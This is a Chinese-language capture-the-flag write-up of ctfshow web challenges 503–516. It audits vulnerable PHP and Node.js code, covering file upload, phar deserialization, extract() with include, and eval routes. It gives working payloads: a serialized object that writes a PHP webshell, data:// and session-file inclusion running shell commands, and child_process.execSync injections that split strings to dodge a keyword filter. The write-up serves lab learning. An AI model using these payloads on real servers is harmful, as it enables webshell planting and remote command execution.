web503
看了之前的文件的发现都没办法利用了
这个页面的源码发现了
layui.use(['layer', 'form'], function(){
var layer = layui.layer
,form = layui.form;
form.on('submit(admin_settings)', function(data){
$.ajax({
url:'api/admin_settings.php',
dataType:"json",
type:'post',
data:{
title:data.field['title'],
copy_right:data.field['copy_right'],
beian:data.field['beian'],
seo:data.field['seo']
},
success:function(data){
layer.alert(data.msg, function(index){
location.reload();
});
}
});
return false;
});
});
layui.use('element', function(){
var element = layui.element;
});
layui.use('upload', function(){
var upload = layui.upload;
var uploadInst = upload.render({
elem: '#logo'
,url: 'api/admin_upload.php'
,done: function(data){
layer.alert(data.msg, function(index){
location.reload();
});
}
});
});
function change_avatar(){
$('#avatar').toggle();
}
?action=../api/admin_upload
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']); //传入的文件名被MD5
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION); //获取文件扩展名
if(!preg_match('/^php$/i', $ext)){
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename); //文件被移动到/var/www/html/img
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
?action=../api/admin_db_backup
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
file_exists触发phar反序列化
<?php
error_reporting(0);
class db{
public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}
public function getConnection(){
return new mysqli($this->addr,$this->username,$this->password,$this->database);
}
public function select_one($sql){
$this->sql=$sql;
$result=$this->db->query($sql);
if($result){
return $result->fetch_object();
}
}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$this->db->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function update_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$this->db->query($sql);
return $this->db->affected_rows;
}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
思路
先打一个phar文件进去--》
在backup传参pre=/var/www/html/img&db_format=我们传入文件的md5文件名比如打的是aaa.phar
就传c54c75d1d14d4d656f5c33d25b3bfbaa加后缀phar
至于具体的操作怎么来先欠着不会phar反序列化
web504
有多的文件了
bushi,看不了源码了
在这个地方抓包观察一下
创建模版的地方抓包看看
找一下文件在哪里
发现上传在这里但是还是没有利用的点哇,我们之前序列化写马成功了,现在看看那
诶还是没成功,路径改改
终于getshell
EXP是这个
<?php
class dbLog{
public $content='<?=eval($_POST[1]);?>';
public $log='/var/www/html/ma.php';
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
echo urlencode(serialize(new dbLog()));
?>
web505
进入页面发现有个文件查看又可以看源码了
看一下源码先
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这里可以直接写马,用POST覆盖,要使得文件包含
已知文件在templates里面,然后在
url/api/api/admin_file_view.php
传参
web506
api/admin_file_view.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
文件后缀名字需要改一下
web507
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
我上传文件并没有成功
直接读取用data协议
debug=1&f=data://test/palin,user<?php+system("tac /f*");
但是这是为什么呢,文件都是一模一样的
web508
上传头像这个地方其实是可以上传木马的
这个头像的位置在临时文件下面
/tmp/sess_cookie值
url/api/admin_file_view.php
POST:
debug=1&f=/tmp/sess_s4k5igq6j7ccld43846e2nots5&1=echo `tac /f*`;
web509
没有禁sess还是像上题一样
web510
一样的打法
web515
var express = require('express');
var _= require('lodash');
var router = express.Router();
/* GET users listing. */
router.get('/', function(req, res, next) {
res.render('index', { title: '鎴戞槸澶嶈鏈�' });
});
router.post('/',function(req,res,next){
if(req.body.user!=null){
msg = req.body.user;
if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' });
}else{
res.render('index', { title: eval(msg) });
}
}else{
res.render('index', { title: '鎴戞槸澶嶈鏈�' });
}
});
module.exports = router;
在路由index.php中POST传参user=...
那么这里是是js的RCE
首先GET传参没有过滤
POST传参user有部分过滤
https://46e2a8d3-92b0-432e-8fc2-8f47b7a2da0b.challenge.ctf.show/index.php?b=require("child_process").execSync("tac /f*")
POST:
user=eval(req.query.b) //执行GET传参的b参数
当然也可以直接POST传参
user=eval(req.body.b)&b=require("child_process").execSync("tac /f*")
web516
if(user!==undefined){
ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
}else{
ctx.render('/');
}
审计代码发现这里可以代码执行
app.use(async(ctx,next)=>{
if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
return
}else{
await next()
}
})
审计这里发现了过滤的东西,使用引号绕过
username=aaaa&password=1)%2beval(('req'%2b'uire("chi'%2b'ld_proce'%2b'ss").ex'%2b'ecSync("echo $FLAG")')
一个很正常的绕过姿势